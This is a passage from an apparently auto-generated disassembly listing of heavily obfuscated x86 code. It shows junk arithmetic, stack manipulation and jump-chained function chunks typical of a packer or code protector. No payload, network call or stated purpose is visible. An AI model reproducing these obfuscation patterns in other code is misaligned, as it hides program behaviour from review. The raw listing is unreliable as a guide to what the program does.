CHUNK FOR sub_5AA2D1 loc_5A0D14: ; CODE XREF: sub_5AA2D1-E6F6j jmp loc_59B3E4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A0D19: ; CODE XREF: sub_5A4D9D-4CF9j mov ebp, [esp+4+var_4] sub esp, 4 jmp loc_5A0757 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_5A0D27: ; CODE XREF: sub_599117+10996j mov esi, [esp+0] add esp, 4 xor eax, ebp pop ebp jmp loc_5A755C ; END OF FUNCTION CHUNK FOR sub_599117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0D38: ; CODE XREF: sub_5AA2D1-EAA6j ; sub_5AA2D1-4827j not edx add edx, 73704C46h jmp loc_5A605B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A0D45: ; CODE XREF: sub_5A0AA2+1B96j sub eax, 47455A1h add eax, 5B5D5A0Fh add eax, ebp sub eax, 5B5D5A0Fh jmp loc_599DDE ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A0D5B: ; CODE XREF: sub_5AF2D9-12F59j pop eax pop edx push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp+0Ch+var_C] jmp loc_5A770C ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0D71: ; CODE XREF: sub_5AA2D1-1A8j sub ecx, 6A191A9Dh add ecx, ebp add ecx, 6A191A9Dh add ecx, 6F844018h jmp loc_5ABA6F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A0D8A: ; CODE XREF: sub_59A9E9+D157j add esp, 4 push edx mov edx, 4AE64FEEh jmp loc_59BDB6 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- loc_5A0D98: ; CODE XREF: sdfs____:005A2ECBj xor edi, 4DBB1BA1h mov ebp, edi pop edi push ecx mov ecx, 16D066B9h add ebp, 55327181h sub ebp, ecx sub ebp, 55327181h jmp loc_59AA4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0DBA: ; CODE XREF: sub_5AA2D1-62CAj ; sub_5A917C-3709j add esp, 4 sub ecx, 4 jmp sub_5A7BA0 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A0DC5: ; CODE XREF: sub_59C979+1F5Ej push 4A18h mov dword ptr [esp+2+var_2], ecx mov ch, 34h xor dh, ch pop ecx add dh, 0A6h push edx mov dh, 1Eh sub dh, 0B8h or dh, 0A9h push eax push ebx mov bh, 4Ah mov ah, 0D6h add ah, bh pop ebx inc ah add ah, 1 add ah, 38h sub ah, 0BDh or dh, ah jmp loc_5A4BBF ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 82Eh mov [esp], ax jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0E0A: ; CODE XREF: sub_5AA2D1-486Cj sub ebx, eax sub ebx, 631E0053h sub ebx, 7AB514DBh sub esp, 4 mov [esp+4+var_4], eax jmp sub_59F4D2 ; --------------------------------------------------------------------------- loc_5A0E23: ; CODE XREF: sub_5AA2D1-D691j shr ebp, 8 shl ebp, 3 shr ebp, 3 jmp loc_5A8682 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_5A0E31: ; CODE XREF: sub_599117+12477j xor ebx, 144935FDh jmp loc_59981B ; END OF FUNCTION CHUNK FOR sub_599117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0E3C: ; CODE XREF: sub_5AA2D1-49F3j xor ch, 0B2h add al, ch jmp loc_5A3B3E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A0E46: ; CODE XREF: sub_59F02F+989j xchg eax, [esp+10h+var_10] jmp loc_59D93B ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5A0E4E: ; CODE XREF: sub_59D4FD+DD54j mov ecx, esp add ecx, 4 jmp loc_5A98D6 ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A0E5B: ; CODE XREF: sub_59D6B8-2497j ; sub_59D6B8+9153j add edx, edi sub esp, 4 mov [esp+0], ebx xor dword ptr [esp+0], 71760FECh pop dword ptr [edx] xor dword ptr [edx], 71760FECh pop edx mov ebx, [esp+1Ch+var_1C] add esp, 4 mov ecx, [esp+18h+var_18] jmp loc_5AE1B6 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59982C loc_5A0E84: ; CODE XREF: sub_59982C+155C3j add esp, 4 sub eax, 5D480D4Eh xor eax, 3EDA1BD3h jl sub_5A75B3 push ebp jmp loc_59ABCC ; END OF FUNCTION CHUNK FOR sub_59982C ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push esp ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A0EA3: ; CODE XREF: sub_5A79BE-23C7j mov [esp+4+var_4], eax mov eax, 55C2AF9h add ebx, eax pop eax sub esp, 4 mov [esp+4+var_4], ecx push 76DAh mov [esp+8+var_8], eax jmp loc_5A7E0D ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0EC4: ; CODE XREF: sub_5AA2D1:loc_5A0180j ; sub_5AF8FF-7D88j mov ebp, esp add ebp, 4 push ecx mov ecx, 4 jmp loc_59E05B ; --------------------------------------------------------------------------- loc_5A0ED7: ; CODE XREF: sub_5AA2D1-E8Dj add edi, 208A0Dh mov edx, edi jmp loc_59D30D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A0EE4: ; CODE XREF: sub_59EE3E+3A84j mov dl, 4Ah xor dl, cl jmp loc_5AFAEB ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A0EED: ; CODE XREF: sub_5A8992-87F6j ; sub_5A503A:loc_5A0A5Aj push esi push 665D2941h pop esi xor esi, 67B16516h mov ecx, esi jmp loc_5A36FE ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A0F01: ; CODE XREF: sub_5A118F+390j or ah, 0C0h jmp loc_5A6A46 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A0F09: ; CODE XREF: sub_5A6BBC+7284j push edx jmp loc_5A6D72 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A0F0F: ; CODE XREF: sub_5A9EC5+12AFj add bl, 7Ah push edx mov dl, 0DDh add dl, 33h dec dl or dl, 46h add dl, 90h add bl, dl pop edx add bl, 21h add bl, al sub bl, 21h jmp loc_59F01E ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BAD3 loc_5A0F30: ; CODE XREF: sub_59BAD3+DCDj add esp, 4 jmp loc_5A5662 ; END OF FUNCTION CHUNK FOR sub_59BAD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_5A0F3B: ; CODE XREF: sub_59F1C3+774j pop eax pop [esp+4+var_4] mov esp, [esp+0] or eax, eax jnz loc_59C6BF push 6024h mov [esp+4+var_4], eax push 10542A9Fh pop eax jmp sub_5AB3DB ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0F5D: ; CODE XREF: sub_5AA2D1-7BD8j jz loc_59FEFB neg ebx jbe loc_5A2E04 sub ebx, 0FACFB226h push ebx dec [esp+10h+var_10] mov ah, 60h mov edi, ecx loc_5A0F79: ; CODE XREF: sub_59CD26+1j push eax jmp loc_5AEF37 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4DFC loc_5A0F7F: ; CODE XREF: sub_5A4DFC-B2D1j xchg bl, byte ptr [esp+8+var_8+1] not bl xchg bl, byte ptr [esp+8+var_8+1] pop bx mov ah, bh jmp loc_59E93B ; END OF FUNCTION CHUNK FOR sub_5A4DFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A0F92: ; CODE XREF: sub_5A4D9D+812Aj add ebx, edx mov edx, [esp+8+var_8] add esp, 4 push esi mov esi, 4 sub ebx, esi pop esi xchg ebx, [esp+4+var_4] jmp loc_5AFE7C ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A0FAB: ; CODE XREF: sub_59C979+2B48j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_5A0FB0: ; CODE XREF: sub_5A477C:loc_5ABA4Bj ; sub_59F1C3+E888j mov [esp+8+var_8], esi mov esi, 69AE28CCh mov edi, 0BDFBF2A8h push ecx mov ecx, 13C7132Eh not ecx and ecx, 19A7027Bh add ecx, 0FB5D41C1h sub edi, ecx pop ecx add edi, esi add edi, 37D4212h pop esi jmp loc_59F90F ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- lodsb push ebx push eax push cx mov ch, 0DDh push ebx push edx mov dh, ch jmp loc_5AA72E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB82 loc_5A0FF2: ; CODE XREF: sub_59DB82+8B38j movzx cx, al push small 566Eh jmp loc_59AEDA ; END OF FUNCTION CHUNK FOR sub_59DB82 ; =============== S U B R O U T I N E ======================================= sub_5A0FFF proc near ; CODE XREF: sub_5992DA+4270j var_26 = dword ptr -26h var_22 = dword ptr -22h var_1E = dword ptr -1Eh var_1A = dword ptr -1Ah var_16 = dword ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = word ptr 8 arg_6 = dword ptr 0Ah arg_A = dword ptr 0Eh ; FUNCTION CHUNK AT 00599370 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059AACB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059B047 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B2B7 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059B96B SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0059BBFD SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059C15E SIZE 0000003B BYTES ; FUNCTION CHUNK AT 0059C548 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059D438 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0059D7F0 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059E81A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059F4FD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059F5EE SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059FD0E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059FFF9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A0341 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005A0700 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A105B SIZE 00000041 BYTES ; FUNCTION CHUNK AT 005A11D8 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005A17F9 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A1C9D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A1EBD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A20BE SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005A2429 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A24F5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A2EB8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A36A4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A3F87 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A4462 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A4F41 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A62B8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A69C0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A6BF5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A74F4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A7D75 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A814F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A816D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A90A3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A91DD SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005A9F12 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 005AAA60 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AAF22 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 005AB018 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB44D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AC174 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AC1A4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AE763 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AF511 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AFD4A SIZE 00000015 BYTES push ebx push edx mov dh, 0ECh jmp loc_5AFD4A sub_5A0FFF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B95E loc_5A1008: ; CODE XREF: sub_59B95E+8j mov [esp+4+var_4], edx mov edx, esp jmp loc_5AD5C8 ; END OF FUNCTION CHUNK FOR sub_59B95E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A1012: ; CODE XREF: sub_59EE3E+ABC7j push eax mov eax, 74370837h sub eax, 58B1D5F9h mov ebx, eax jmp loc_5AFBAB ; END OF FUNCTION CHUNK FOR sub_59EE3E ; =============== S U B R O U T I N E ======================================= sub_5A1024 proc near ; DATA XREF: sdfs____:00598F18o arg_0 = dword ptr 4 push dword ptr [edi+1Ch] popf pop eax adc [esp-4+arg_0], eax pushf jmp loc_59910F sub_5A1024 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A1032: ; CODE XREF: sub_5B01F7-14CD3j sub ecx, 5C8F57C6h jmp loc_5ACB08 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7762 loc_5A103D: ; CODE XREF: sub_5A7762+7j pop eax add eax, 4 jmp loc_5A776E ; END OF FUNCTION CHUNK FOR sub_5A7762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A1048: ; CODE XREF: sub_5A79BE+22D5j sub esi, edi pop edi xor eax, esi pop esi push esi mov esi, 0B763F1Dh sub ecx, esi jmp loc_5A8984 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A105B: ; CODE XREF: sub_5A0FFF-27DCj xchg ebp, [esp+0Ah+var_C+2] mov esp, [esp+0Ah+var_C+2] push 3B6Bh mov [esp+0Eh+var_10+2], ecx push esp pop ecx add ecx, 4 push ebp mov ebp, 4 add ecx, ebp mov ebp, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+16h+var_16] pop esp xchg ecx, [esp+0] pop esp push ebx push ecx push ebp push 0A315EAAh jmp loc_5A4F41 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAF7A loc_5A109C: ; CODE XREF: sub_5AAF7A-95D1j pop ebp mov edx, esi mov esi, [esp+8+var_8] add esp, 4 push ebx jmp loc_5A7986 ; END OF FUNCTION CHUNK FOR sub_5AAF7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5A10AB: ; CODE XREF: sub_5B03B3+Ej pop ebp jmp loc_59AAB8 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A10B1: ; CODE XREF: sub_5A0AA2+A0FAj add edx, 678ED3CDh add ecx, edx pop edx add eax, 59726D4Ch push ecx mov ecx, 22221BD6h and ecx, 410B1906h not ecx push ebx jmp loc_599AEF ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABFD8 loc_5A10D3: ; CODE XREF: sub_5ABFD8-425j mov edx, 4 add esi, edx pop edx sub esi, 4 jmp loc_59C31D ; END OF FUNCTION CHUNK FOR sub_5ABFD8 ; =============== S U B R O U T I N E ======================================= sub_5A10E3 proc near ; DATA XREF: sdfs____:00598FF4o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D421 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059E7BA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059FEE3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A132E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A1E80 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A466D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A5B8C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A6219 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AB69E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AD4A7 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005ADD41 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005ADDD3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AFF6D SIZE 00000021 BYTES push 3BE2h mov [esp+4+var_4], ebx mov ebx, 3Ch push 3CECh mov [esp+8+var_8], ebp jmp loc_59E7BA sub_5A10E3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A10FD: ; CODE XREF: sub_5AC803-14C8j pop eax sub al, 50h add al, bh add al, 50h jmp loc_5A4CA5 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_5A1109: ; CODE XREF: sub_5AB5A9-BEF9j mov esp, [esp+0Ch+var_C] sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 4 jmp loc_59E4AF ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A111F: ; CODE XREF: sub_5A18F6+1j mov ebp, 7B127BE2h jmp loc_5AC59C ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A1129: ; CODE XREF: sub_5AA2D1+1FB0j sub ebx, edx mov edx, [esp+14h+var_14] add esp, 4 push 78BDh mov [esp+14h+var_14], ebx push [esp+14h+var_10] pop ebx pop [esp+14h+var_14] jmp loc_5AB04D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54C9 loc_5A1149: ; CODE XREF: sub_5A54C9+B8Dj not ecx jmp loc_5A1A99 ; END OF FUNCTION CHUNK FOR sub_5A54C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A1150: ; CODE XREF: sub_5A7BA0+6E2Ej add eax, 4 push eax push [esp+8+var_4] mov eax, [esp+0Ch+var_C] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5AED81 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5AF2 loc_5A116E: ; CODE XREF: sub_5A5AF2-B3A8j sub bl, al pop eax add bl, dh push eax mov ah, 94h dec ah neg ah add ah, 1Bh jmp loc_5ADAB0 ; END OF FUNCTION CHUNK FOR sub_5A5AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A1182: ; CODE XREF: sub_5AA810-32E1j jmp loc_5A903E ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- loc_5A1187: ; CODE XREF: sdfs____:005A5F60j add esp, 4 jmp loc_59B14C ; =============== S U B R O U T I N E ======================================= sub_5A118F proc near ; CODE XREF: sub_5A4D9D-F9Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0059AC4F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059C4D4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059C6B0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059DE46 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059E51B SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059EEBC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059F07F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A0691 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A075F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A0F01 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A151C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A162C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A1718 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A1C35 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 005A1E1F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A30FE SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A319D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A425F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A4545 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A62EC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A692A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A6A46 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A8236 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A915A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A9A6A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A9EA9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9EDC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AB256 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005AB3E3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AB717 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005ABD5A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005ACA35 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ACC6A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ADD00 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005ADE28 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AE8B3 SIZE 00000007 BYTES push ebx push eax mov eax, 422807A4h shr eax, 1 push edx jmp loc_5AB3E3 sub_5A118F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A119E proc near ; DATA XREF: sdfs____:00598EE0o ; FUNCTION CHUNK AT 0059E2B9 SIZE 00000005 BYTES push dword ptr [edi+1Ch] popf pop ax sbb [esp+0], ax pushf jmp loc_59E2B9 sub_5A119E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5A11AE: ; CODE XREF: sub_5AE29C-3829j ja loc_5AF9C9 shr edx, 6 jmp loc_5ADB49 ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- mov eax, edi ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A11BE: ; CODE XREF: sub_5AC803+3569j xor edx, 10EA6D25h jb loc_5A209B shr edx, 8 jnp loc_5A44B6 jmp loc_5A3244 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A11D8: ; CODE XREF: sub_5A0FFF+EC4j pop esp mov [esp+1Ah+var_1A], eax mov eax, esp push edx mov edx, 10CF5A85h sub edx, 10CF5A81h sub eax, 34C546A9h add eax, edx add eax, 34C546A9h mov edx, [esp+1Eh+var_1E] push eax mov eax, esp jmp loc_5A90A3 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A1201: ; CODE XREF: sub_5A6BBC+6522j push edx push 29286C94h pop edx add edi, edx pop edx add edi, edx sub edi, 29286C94h push ebp jmp loc_5ACDDA ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A1219: ; CODE XREF: sub_5A0AA2-5BE9j mov ecx, 6CF5110Fh jmp loc_59EB39 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0266 loc_5A1223: ; CODE XREF: sub_5B0266-B9B5j add eax, 4 xchg eax, [esp+8+var_8] pop esp push 4CDh jmp loc_5A58A5 ; END OF FUNCTION CHUNK FOR sub_5B0266 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F2D1 loc_5A1234: ; CODE XREF: sub_59F2D1-60A9j bts [esp+0], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59F2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5A123F: ; CODE XREF: sub_5A72CB-4C41j jns loc_5A2183 jmp loc_5ABC3B ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B3C9 loc_5A124A: ; CODE XREF: sub_59B3C9-116Cj sub ebx, 17BB57FFh add ebx, edi add ebx, 17BB57FFh pop edi add ebx, 4 jmp loc_599316 ; END OF FUNCTION CHUNK FOR sub_59B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_5A1264: ; CODE XREF: sub_5A9B1D-A2E0j mov edi, 3E9B16D1h and ecx, edi jmp loc_5A3E81 ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A1270: ; CODE XREF: sub_59CBE1+64DAj neg eax jmp loc_5A7C5A ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A1277: ; CODE XREF: sub_5A5EFF-B4C5j add eax, ecx push 969h mov [esp+0], ebx mov ebx, 4B257F48h inc ebx xor ebx, 0B963968h sub ebx, 5F3A7E3Ch jmp loc_5A4505 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A1298: ; CODE XREF: sub_59EE3E+599Dj xor ecx, 5E24F6ADh sub ebx, ecx mov ecx, [esp+8+var_8] jmp loc_5ABAA8 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_5A12A8: ; CODE XREF: sub_5A600D-69F0j push ecx mov cl, 0B8h jmp loc_59A20B ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A12B0: ; CODE XREF: sub_5AA2D1+5C7Ej push edi mov edi, 35753909h shl edi, 4 and edi, 1C4244B0h neg edi dec edi add edi, 2AA0E76h add edi, 2FDC445Fh sub esi, edi pop edi jmp 